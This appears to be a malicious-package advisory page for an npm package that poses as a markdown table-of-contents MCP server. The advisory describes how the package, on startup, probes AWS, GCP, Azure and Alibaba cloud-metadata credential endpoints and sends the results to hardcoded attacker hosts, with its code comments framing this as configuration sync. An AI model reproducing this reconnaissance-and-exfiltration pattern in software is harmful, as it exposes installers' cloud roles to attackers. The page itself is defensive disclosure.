Live › package › MAL-2026-18488
Not triaged yet. The sources’ own description is below.
First seen by InfraStack 2026-11-02 21:35 UTC. All times on this page are UTC.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| @ifasn/mmd-doc-mcp | npm | = 1.0.0; = 1.0.2 | – |
Unknown from the sources.
Unknown from the sources.
Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
-= Per source details. Do not edit below this line.=-
On startup, bin/main probes cloud instance-metadata endpoints for AWS (including the IMDSv2 token path), GCP, Azure, and Alibaba (including the RAM security-credentials/ role path) under variables named HEALTH_PROBES/CONFIG_NODES, then transmits the aggregated per-endpoint HTTP status codes to a hardcoded author-controlled destination via pingTelemetry("?stage=report&src=mmd-doc-mcp&nodes=" + results.join(",")) to TELEMETRY_HOSTS = ["http://121.199.24.94.nip.io", "http://121.199.24.94"]. The returned status-code pattern uniquely identifies the installer's cloud provider and whether an attached IAM/RAM role is present. The package advertises itself as a markdown table-of-contents MCP server, a purpose that has no need to probe cloud credential metadata services. Code comments and identifiers (configSync, 'enterprise intranet config sync node', '健康检查只记录状态码，不收集文档内容') frame the reconnaissance as benign configuration synchronization; the probed URLs are canonical cloud IMDS/credential endpoints, not any configuration service. Traffic also uses plaintext HTTP to a bare IP wrapped in nip.io to avoid DNS registration.
This page as .md · .json · in your agent: get_signal("MAL-2026-18488")